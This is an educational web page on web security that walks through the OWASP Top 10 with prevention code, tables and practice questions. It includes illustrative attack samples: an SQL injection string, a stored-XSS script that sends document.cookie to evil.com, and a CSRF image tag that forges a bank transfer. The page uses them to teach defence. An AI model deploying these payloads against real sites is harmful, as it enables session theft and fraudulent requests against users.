Skip to main content

Web Security Essentials

Learning Objectives

By the end of this page, you should be able to:

  • Explain why web security matters and describe the role of the OWASP Top 10 as an industry reference.
  • Identify how injection, XSS, and CSRF attacks work, and write example prevention code for each.
  • Distinguish authentication failures from authorization failures (IDOR) and explain the fix for each.
  • Explain how HTTP security headers (CSP, HSTS, X-Frame-Options) reduce specific classes of attack.
  • Apply core input-validation principles (whitelisting, server-side validation) to evaluate whether a given design is secure.
  • Compare common vulnerabilities on cause and defense, and avoid common misconceptions about "who" is responsible for validating input.

Quick Answer

Web security is the practice of protecting web applications from attackers who try to steal data, impersonate users, or disrupt service. It matters because almost every application handles something valuable — passwords, payment details, personal data — and the web is the most exposed attack surface most software has, reachable by anyone with a browser. The OWASP Top 10 is the industry-standard list of the most common and impactful web vulnerabilities, ranked by real-world prevalence and risk. Learning it matters because the same handful of mistakes — trusting user input, weak authentication, missing authorization checks — cause the overwhelming majority of real breaches, so a small set of disciplined habits (validate on the server, encode output, use parameterized queries) closes most of the gap.


Table of Contents

  1. Why Web Security Matters
  2. Injection
  3. Cross-Site Scripting (XSS)
  4. Cross-Site Request Forgery (CSRF)
  5. Broken Authentication
  6. Insecure Direct Object References (IDOR)
  7. Security Misconfiguration
  8. Sensitive Data Exposure
  9. XML External Entity (XXE) Attacks
  10. Security Headers
  11. Input Validation Principles
  12. OWASP Top 10 at a Glance
  13. Key Terms
  14. Common Mistakes
  15. Comparison and Connections
  16. Practice Questions
  17. FAQ
  18. Quick Revision
  19. Related Topics

Why Web Security Matters

Every web application that accepts input from users — a login form, a search box, a file upload — is also accepting input from potential attackers, because the server has no way to distinguish a legitimate user from a malicious one just by looking at an HTTP request. The OWASP (Open Web Application Security Project) Top 10 distills years of real breach data into the ten vulnerability categories responsible for most incidents, giving developers a prioritized checklist instead of an unbounded list of "everything that could go wrong."

The unifying theme behind nearly every entry on this list is a single idea: never trust input, and never trust the client. Attackers control everything that leaves their browser — the URL, form fields, cookies, even HTTP headers — so any security decision made only in the browser can be bypassed entirely.


1. Injection

What it is: An attacker inserts malicious code into an input field that the application's back-end then executes as part of a command or query — most commonly SQL, but also OS commands or LDAP queries.

SQL Injection example:

-- Vulnerable query (directly concatenating user input into SQL)
SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1' --'
-- The OR '1'='1' condition is always true, so the WHERE clause matches every row,
-- and the attacker logs in as the first user returned (often an admin) without a real password.

Prevention:

# Vulnerable (string concatenation)
query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"

# Safe (parameterized query — the driver handles escaping)
cursor.execute(
"SELECT * FROM users WHERE username = %s AND password = %s",
(username, hashed_password)
)
  • Use parameterized queries (prepared statements) — never concatenate user input into SQL.
  • Use ORMs that abstract away raw SQL construction.
  • Validate and sanitize all inputs before they reach any interpreter.
  • Apply the principle of least privilege to database accounts (a web app's DB user shouldn't be able to DROP TABLE).

2. Cross-Site Scripting (XSS)

What it is: An attacker injects malicious JavaScript into a page viewed by other users. Because the browser can't tell attacker-supplied script from the site's own script, it executes it with full access to that page's session.

Three types:

TypeHow it works
Reflected XSSMalicious script is embedded in the URL/query string; the server reflects it back unescaped in the response
Stored XSSScript is saved in the database (e.g. a comment field) and served to every user who later views that data
DOM-based XSSScript manipulates the DOM directly on the client side, without the payload ever touching the server

Example (stored XSS): A comment field that stores <script>document.location='https://evil.com/steal?c='+document.cookie</script> and renders it unescaped will run that script for every visitor who views the comment, silently exfiltrating their session cookie.

Impact: Session hijacking, credential theft, page defacement, keylogging.

Prevention:

// Vulnerable: inserting raw user input into the DOM
element.innerHTML = userComment;

// Safe: treat it as text, not HTML
element.textContent = userComment;
  • Escape output — HTML-encode all user-generated content before displaying it (< becomes &lt;, etc.).
  • Use modern frameworks (React, Vue, Angular) that auto-escape interpolated values by default.
  • Set a strict Content Security Policy (CSP) header to restrict which scripts can run at all.
  • Set the HttpOnly flag on session cookies so JavaScript cannot read them even if XSS occurs.

3. Cross-Site Request Forgery (CSRF)

What it is: An attacker tricks a logged-in user's browser into making an unintended, state-changing request to a site the user is authenticated on — the browser automatically attaches the user's cookies, so the request looks legitimate to the server.

Example: A malicious page contains:

<img src="https://bank.com/transfer?to=attacker&amount=1000" />

When the victim (already logged into bank.com) visits the attacker's page, their browser automatically sends this request with the victim's session cookies — the bank processes it as a legitimate transfer, because nothing in the request looks abnormal.

Prevention:

  • Use CSRF tokens — include a unique, secret, per-session token in every state-changing form and validate it server-side; an attacker's page can't guess or read this token.
  • Use the SameSite cookie attribute (Strict or Lax) so the browser withholds cookies on cross-site requests.
  • Validate the Origin and Referer headers on sensitive requests as an additional check.

4. Broken Authentication

What it is: Flaws in how an application verifies identity or manages sessions, allowing attackers to compromise passwords, session tokens, or keys.

Common mistakes:

  • Weak passwords allowed with no complexity or breach-list checks.
  • Credentials stored in plain text (should always use bcrypt, argon2, or scrypt).
  • Session IDs exposed in URLs, where they leak into browser history and server logs.
  • Sessions not invalidated after logout.
  • No rate limiting on login attempts, enabling brute-force guessing.

Prevention:

  • Implement multi-factor authentication (MFA).
  • Use secure password hashing (e.g. bcrypt with a cost factor of 10 or higher) — never store or compare plain-text passwords.
  • Implement account lockout or exponential backoff after repeated failed attempts.
  • Set session timeouts and invalidate session tokens server-side on logout.
  • If using JWTs, verify the signature on every request; don't trust an unsigned or client-modifiable token.

5. Insecure Direct Object References (IDOR)

What it is: The application lets a user access a resource by directly guessing or manipulating its identifier, without checking whether that user is actually authorized to see it. This is an authorization failure, distinct from authentication (which only checks who you are).

Example: A URL like https://app.com/invoice/1234 — if the server checks only that the requester is logged in, but never checks that invoice 1234 belongs to that specific logged-in user, an attacker can simply change the number to 1235, 1236, and so on to read other people's invoices.

Prevention:

  • Always check authorization, not just authentication: "is this user allowed to see this object?"
  • Use indirect, hard-to-guess references (random UUIDs instead of sequential integers) as defense-in-depth — this doesn't replace authorization checks, but it removes casual guessing.
  • Implement the ownership/authorization check consistently at the API layer, not scattered per-view in the UI.

6. Security Misconfiguration

What it is: Insecure default settings, unnecessary features left enabled, or missing hardening steps that give attackers an easier path in — often the simplest vulnerability to introduce and the easiest to prevent.

Common examples:

  • Default admin credentials left unchanged after deployment.
  • Verbose error messages exposing stack traces or database structure to users.
  • Directory listing left enabled on a web server.
  • Debug mode left on in production.
  • Cloud storage buckets (S3, Azure Blob) left publicly readable/writable.

Prevention:

  • Follow minimal installation: disable every feature, service, and account you don't need.
  • Apply a security-hardening checklist for each environment (dev, staging, production).
  • Automate configuration with Infrastructure as Code so environments stay consistent and auditable.
  • Regularly scan deployed systems for drifted or insecure configurations.

7. Sensitive Data Exposure

What it is: Inadequate protection of sensitive data — credentials, payment details, personal information — either while it's stored ("at rest") or while it's being transmitted ("in transit").

Prevention:

  • Use HTTPS (TLS) everywhere, and enforce it with the Strict-Transport-Security (HSTS) header so browsers refuse to downgrade to plain HTTP.
  • Encrypt sensitive data at rest (e.g. AES-256 for stored fields).
  • Never log sensitive data — passwords, credit card numbers, national ID numbers — even in debug logs.
  • Use secure, authenticated transmission protocols for any API that carries sensitive data.
  • Implement proper key management (rotate keys, never hardcode them in source code).

8. XML External Entity (XXE) Attacks

What it is: A vulnerable XML parser processes external entity references inside XML input, letting an attacker read arbitrary files on the server, perform server-side request forgery (SSRF), or cause a denial of service — all by submitting a crafted XML document.

Prevention:

  • Disable DTD (Document Type Definition) processing in XML parsers entirely if not needed.
  • Prefer JSON over XML for data interchange where possible, since JSON has no equivalent entity mechanism.
  • If XML is required, configure the parsing library explicitly to disallow external entity resolution.

9. Security Headers

Every web application should set these HTTP security headers, since they cost almost nothing to add but close off entire classes of attack:

HeaderPurposeExample value
Content-Security-PolicyWhitelists allowed content sources; a strong defense against XSSdefault-src 'self'
X-Content-Type-OptionsStops browsers from "MIME sniffing" content into a more dangerous typenosniff
X-Frame-OptionsPrevents the page from being embedded in a hidden <iframe> (clickjacking)DENY
Strict-Transport-SecurityForces the browser to always use HTTPS for this domainmax-age=31536000; includeSubDomains
Referrer-PolicyControls how much referrer URL information leaks to other sitesstrict-origin-when-cross-origin
Permissions-PolicyRestricts which browser features/APIs a page may usegeolocation=(), microphone=()

10. Input Validation Principles

A secure application treats all input as untrusted, no matter where it appears to come from (a form, a URL, another internal service):

  1. Validate on the server — client-side validation is a UX convenience, never a security boundary, because it can be bypassed entirely.
  2. Whitelist, not blacklist — define exactly what is allowed (e.g. "digits only, max 10 characters") rather than trying to enumerate every malicious pattern to reject.
  3. Type-check — reject unexpected data types outright (a string where an integer was expected).
  4. Enforce length limits — reject abnormally long inputs, which are common in buffer-overflow and denial-of-service attempts.
  5. Reject and log — don't silently drop invalid input; log it so security monitoring can spot patterns of attempted attacks.

OWASP Top 10 at a Glance

RankVulnerabilityKey defense
A01Broken Access ControlAuthorization checks on every request
A02Cryptographic FailuresTLS, proper hashing, no plain-text secrets
A03InjectionParameterized queries, input validation
A04Insecure DesignThreat modeling, secure design patterns
A05Security MisconfigurationHardening, minimal install
A06Vulnerable ComponentsKeep dependencies updated, use SCA tools
A07Authentication FailuresMFA, strong hashing, session management
A08Integrity FailuresVerify CI/CD pipelines, code signing
A09Logging FailuresLog security events, monitor anomalies
A10SSRFValidate and restrict server-side requests

Key Terms

TermDefinitionContext/Related Concepts
OWASPOpen Web Application Security Project — publishes the industry-standard Top 10 list of web vulnerabilitiesReference point for this entire page
InjectionAttacker-supplied input executed as code/commands by the back-endSQL injection, command injection
Parameterized queryA query where user input is passed as data, never concatenated into the query stringPrimary defense against injection
XSSCross-Site Scripting — injecting attacker JavaScript that runs in another user's browserReflected, stored, and DOM-based variants
CSRFCross-Site Request Forgery — tricking a logged-in user's browser into sending an unintended requestDefended with CSRF tokens and SameSite cookies
AuthenticationVerifying who a user is (login)Distinct from authorization
AuthorizationVerifying what an authenticated user is allowed to do/accessIDOR is an authorization failure
IDORInsecure Direct Object Reference — accessing a resource by ID without an ownership checkFixed by per-request authorization checks
CSPContent Security Policy — an HTTP header restricting which content sources a page may load/executeMajor defense against XSS
HSTSHTTP Strict Transport Security — a header forcing browsers to always use HTTPS for a domainPrevents protocol-downgrade attacks
Hashing (password)One-way transformation of a password for storage, so the original can't be recoveredbcrypt, argon2, scrypt; never plain-text or reversible encryption
XXEXML External Entity attack — exploiting XML parsers that resolve external entity referencesMitigated by disabling DTD processing
Least privilegeGranting an account/service only the minimum access it needs to functionLimits blast radius if a component is compromised

Common Mistakes

  • Misconception 1: "Client-side (JavaScript) validation is enough to keep bad input out."

    • Why it's wrong: All front-end code runs on the user's own machine, so a user (or attacker) can disable JavaScript, edit it in DevTools, or bypass the browser entirely and send a raw HTTP request with a tool like curl or Postman.
    • Correct explanation: Client-side validation only improves user experience by giving instant feedback; every input must be revalidated on the server, which is the only environment the client cannot tamper with.
  • Misconception 2: "If a user is logged in (authenticated), they're allowed to see whatever resource ID they request."

    • Why it's wrong: Authentication only proves who the user is; it says nothing about what that specific user should be permitted to access. Skipping the second check is exactly the IDOR vulnerability.
    • Correct explanation: Every request for a specific resource must independently check ownership or permission — "is this authenticated user allowed to access this particular object?" — not just whether they're logged in at all.
  • Misconception 3: "Encrypting a password before storing it is the same as (or as good as) hashing it."

    • Why it's wrong: Encryption is reversible by design if you have the key, which means a stolen key or a compromised server can recover every original password. Hashing (with algorithms like bcrypt) is one-way and intentionally slow, specifically so it cannot be reversed even by the application itself.
    • Correct explanation: Passwords should be hashed with a purpose-built, slow, salted algorithm (bcrypt, argon2, scrypt) — never encrypted or stored as plain text — because the application should never need to "decrypt" a password, only verify a login attempt against the stored hash.

Comparison and Connections

Concept AConcept BKey Difference
AuthenticationAuthorizationAuthentication verifies identity ("who are you?"); authorization verifies permission ("what are you allowed to do?") — IDOR is specifically an authorization failure
XSSCSRFXSS runs attacker script inside the victim's own browser session; CSRF forges a request using the victim's existing session without ever running attacker code in their browser
Reflected XSSStored XSSReflected XSS requires tricking the victim into clicking a crafted link each time; stored XSS is saved server-side and automatically affects every viewer, no link required
EncryptionHashingEncryption is reversible with a key (used for data that must be read back, like card numbers); hashing is one-way (used for passwords, which only need to be verified, not recovered)
SQL InjectionXSSSQL injection targets the back-end database via a query; XSS targets other users' browsers via injected script — both stem from unescaped/untrusted input reaching an interpreter
Security MisconfigurationBroken AuthenticationMisconfiguration is about insecure settings/defaults (e.g. debug mode on); broken authentication is about flaws in the login/session logic itself

Practice Questions

Recall

  1. What does the acronym OWASP stand for, and what does the OWASP Top 10 represent?

    • Answer guidance: Open Web Application Security Project; the Top 10 is its ranked list of the most common and impactful web application vulnerability categories, based on real-world prevalence and risk data.
  2. Name the three types of XSS and briefly describe how each delivers its payload.

    • Answer guidance: Reflected XSS embeds the script in a URL that the server reflects back unescaped; stored XSS saves the script in the database so it's served to every future viewer; DOM-based XSS manipulates the DOM directly on the client, without the payload passing through the server at all.

Understanding

  1. Explain why parameterized queries prevent SQL injection while string concatenation does not.

    • Answer guidance: With string concatenation, user input becomes part of the SQL command text itself, so an attacker can insert characters (like a closing quote and OR '1'='1') that change the query's logic. Parameterized queries send the query structure and the user's data separately — the database driver treats the input strictly as a data value, never as executable SQL syntax, so injected SQL syntax has no effect.
  2. Why is IDOR classified as an authorization vulnerability rather than an authentication vulnerability?

    • Answer guidance: IDOR typically occurs even when the user has successfully authenticated (proven who they are) — the flaw is that the application fails to check whether that specific authenticated user is permitted to access the specific object being requested by ID, which is an authorization check, not an identity check.

Application

  1. You're reviewing an API endpoint GET /api/documents/{id} that returns a document's content to any logged-in user, without checking who owns the document. Identify the vulnerability and describe the specific code-level fix.

    • Answer guidance: This is an IDOR vulnerability. The fix is to add an authorization check in the handler: after fetching the document, verify document.ownerId === currentUser.id (or that the current user has an explicit sharing permission) before returning the content, and return a 403/404 if not — rather than relying only on the GET requiring a valid login session.
  2. A comment system on a blog stores comments as raw HTML and renders them directly with innerHTML. A user submits a comment containing a <script> tag. Explain what happens and how you'd fix the code.

    • Answer guidance: This is a stored XSS vulnerability — the script tag is saved in the database and executed in the browser of every user who later views that comment, potentially stealing their session cookie or performing actions as them. The fix is to escape/encode the comment content before rendering (or render it via textContent instead of innerHTML), and to apply a Content Security Policy as defense-in-depth.

Analysis

  1. Compare the attack mechanics of CSRF and XSS, and explain why a strong Content Security Policy helps against XSS but does little against CSRF.

    • Answer guidance: XSS relies on getting attacker-controlled script to execute within the victim's browser in the context of the vulnerable site; CSP restricts which script sources can execute, directly blocking most injected-script vectors. CSRF doesn't require running any attacker script at all — it just relies on the browser automatically attaching cookies to a forged request to a legitimate endpoint — so CSP (which governs content sources, not which sites can trigger a request) doesn't address it; CSRF instead needs tokens or SameSite cookies.
  2. A company stores user passwords using AES encryption (reversible, with a company-held key) instead of a password hashing algorithm. Evaluate the risk this introduces and recommend a fix, including migration considerations.

    • Answer guidance: The risk is that anyone who obtains both the encrypted password database and the encryption key (e.g. via a server compromise or insider access) can recover every user's actual plain-text password, which is far worse than a hash leak (which requires expensive cracking per password and reveals nothing extra even for weak passwords, thanks to salting). The fix is to switch to a purpose-built password hashing algorithm (bcrypt/argon2/scrypt) with a per-user salt; migration typically happens gradually — rehash each password the next time that user successfully logs in, rather than trying to decrypt and rehash the whole database at once (which would require the encryption key to still exist, reintroducing the same risk).

FAQ

Q: If my application only serves internal users, do I still need to worry about the OWASP Top 10? A: Yes. Internal applications are frequently compromised via an employee's phished credentials, a malicious insider, or lateral movement from another breached internal system — "internal only" reduces the attack surface but doesn't eliminate it, and internal apps often hold sensitive data with weaker default protections.

Q: Does using HTTPS alone make my site secure? A: No. HTTPS protects data in transit between the browser and server from eavesdropping and tampering, but it does nothing to prevent injection, XSS, broken authentication, or any vulnerability in the application logic itself. HTTPS is necessary but far from sufficient.

Q: My framework (React/Django/Rails) already escapes output and uses an ORM — am I automatically safe from XSS and injection? A: Frameworks eliminate the most common cases significantly, but not entirely — using dangerouslySetInnerHTML in React, raw SQL fragments in an ORM, or disabling a framework's default escaping reintroduces the exact same vulnerabilities. Frameworks reduce risk; they don't remove the need to understand what they're protecting you from.

Q: What's the real difference between authentication and authorization in practice? A: Authentication answers "who is making this request?" (login, sessions, tokens); authorization answers "is this specific person allowed to do this specific thing?" (permission checks, ownership checks). A system can have flawless authentication and still be completely broken if it never checks authorization — that's exactly what an IDOR vulnerability is.

Q: Are CSRF tokens still necessary if I use the SameSite=Strict cookie attribute? A: SameSite=Strict closes most CSRF vectors by itself, but CSRF tokens remain a recommended defense-in-depth layer, since cookie attribute support and behavior can vary across older browsers, and some legitimate cross-site flows (like a payment redirect) may require Lax instead of Strict, reopening a narrower CSRF window that a token still covers.


Quick Revision

  • OWASP Top 10 = the industry-ranked list of the most common, high-impact web vulnerabilities; use it as a checklist, not a complete guarantee.
  • Injection (e.g. SQL injection): attacker input executed as code — prevent with parameterized queries, never string concatenation.
  • XSS: attacker script runs in another user's browser — prevent with output escaping, CSP, and HttpOnly cookies; types are reflected, stored, DOM-based.
  • CSRF: attacker forges a request using the victim's existing session/cookies — prevent with CSRF tokens and SameSite cookies.
  • Authentication = who you are; authorization = what you're allowed to do. IDOR is an authorization failure, not an authentication one.
  • Broken authentication issues: weak passwords, plain-text storage, no rate limiting, sessions not invalidated on logout — fix with hashing (bcrypt/argon2), MFA, lockouts.
  • Security misconfiguration is often the easiest vulnerability to prevent: disable unused features, avoid verbose errors in production, never leave defaults unchanged.
  • Sensitive data must be protected at rest (encryption) and in transit (TLS/HTTPS + HSTS) — and never logged.
  • Key headers: CSP (blocks unauthorized scripts), HSTS (forces HTTPS), X-Frame-Options (blocks clickjacking), X-Content-Type-Options (blocks MIME sniffing).
  • Input validation golden rules: validate server-side (never trust client-side checks), whitelist over blacklist, check type and length, log rejected input.
  • Encryption is reversible (for data you must read back); hashing is one-way (for passwords, which only need verification, never recovery).

Prerequisites

  • Introduction to Web Development (client-server model, HTTP basics)
  • RESTful and GraphQL APIs (endpoints and authorization surface)

Related Topics

  • Databases (parameterized queries, least-privilege accounts)
  • Computer Networks (TLS/HTTPS, TCP/IP fundamentals)

Next Topics

  • Authentication systems (OAuth, JWTs, session management in depth)
  • Secure software design and threat modeling